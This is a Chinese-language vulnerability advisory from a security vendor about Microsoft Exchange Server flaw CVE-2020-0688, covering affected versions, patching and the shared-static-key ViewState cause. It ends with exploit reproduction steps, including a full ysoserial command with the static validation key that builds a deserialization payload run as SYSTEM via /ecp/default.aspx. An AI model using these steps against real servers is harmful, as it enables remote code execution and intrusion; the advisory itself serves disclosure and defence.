【注意!高危预警】微软Exchange Server漏洞CVE-2020-0688可导致远程代码执行

作者:丁牛科技安全服务部


漏洞预警 

微软Exchange Server漏洞CVE-2020-0688可导致远程代码执行


漏洞描述

CVE-2020-0688北京时间2月12日,微软发布2月安全更新补丁,将影响Microsoft Exchange Server的漏洞CVE-2020-0688定义为内存损坏漏洞。2月26日有安全研究员公开了该漏洞细节,获取到邮箱账户权限的攻击者向服务器发送精心构造的请求,可在服务器端实现远程代码执行,微软官方也将之前命名的内存损坏漏洞重命名为远程代码执行漏洞。

风险等级

风险评级为:高危


影响范围

Microsoft Exchange Server 2010 Service Pack 3

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

以上版本全版本通杀


修复建议

安装补丁

微软官方已针对受支持的产品版本发布了修复该漏洞的安全补丁,建议受影响用户开启系统自动更新安装补丁进行防护。

注:由于网络问题、计算机环境问题等原因,Windows Update的补丁更新可能出现失败。用户在安装补丁后,应及时检查补丁是否成功更新。右键点击Windows徽标,选择“设置(N)”,选择“更新和安全”-“Windows更新”,查看该页面上的提示信息,也可点击“查看更新历史记录”查看历史更新情况。

针对未成功安装更新补丁的情况,可直接下载离线安装包进行更新,下载链接如下:




漏洞原理简述

这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。具体来说,这个漏洞的性质非常简单。与每次软件安装都会产生随机密钥不同,所有Microsoft Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。由于使用了静态密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据。攻击者可以在Exchange Control Panel web应用上执行任意.net代码。


漏洞复现

1、获取ViewStateUserKey值

/ecp/default.aspx

F12键打开开发工具的Network选项,然后按F5重新发送请求。我们需要找到登录时/ecp/default.aspx的原始响应:


2、获取取__VIEWSTATEGENERATOR值:


3.生成payload:

.\ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "cmd /c echo 1 >C:\1.txt" --validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy


4.将生成的payload简单url编码后替换并访问/ecp/default.aspx?__VIEWSTATEGENERATOR=&__VIEWSTATE=


5.成功创建文件

该文件为系统权限。

你可能感兴趣的:(【注意!高危预警】微软Exchange Server漏洞CVE-2020-0688可导致远程代码执行)